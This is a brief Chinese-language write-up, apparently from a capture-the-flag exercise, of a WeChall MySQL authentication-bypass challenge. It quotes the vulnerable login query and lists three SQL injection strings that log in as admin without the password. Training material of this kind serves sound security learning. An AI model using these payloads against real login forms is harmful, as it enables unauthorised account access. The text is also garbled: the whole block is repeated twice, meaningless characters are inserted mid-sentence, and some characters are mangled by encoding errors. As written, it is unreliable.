https://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php
題目要求是矿微,使用admin 的賬號登錄痕慢。關(guān)鍵源代碼是
SELECT * FROM users WHERE username='$username' AND password='$password'
因此,注入的答案有幾個
admin'#
admin' or '1'='1
'|0#
https://www.wechall.net/challenge/training/mysql/auth_bypass1/index.php
題目要求是矿微,使用admin 的賬號登錄痕慢。關(guān)鍵源代碼是
SELECT * FROM users WHERE username='$username' AND password='$password'
因此,注入的答案有幾個
admin'#
admin' or '1'='1
'|0#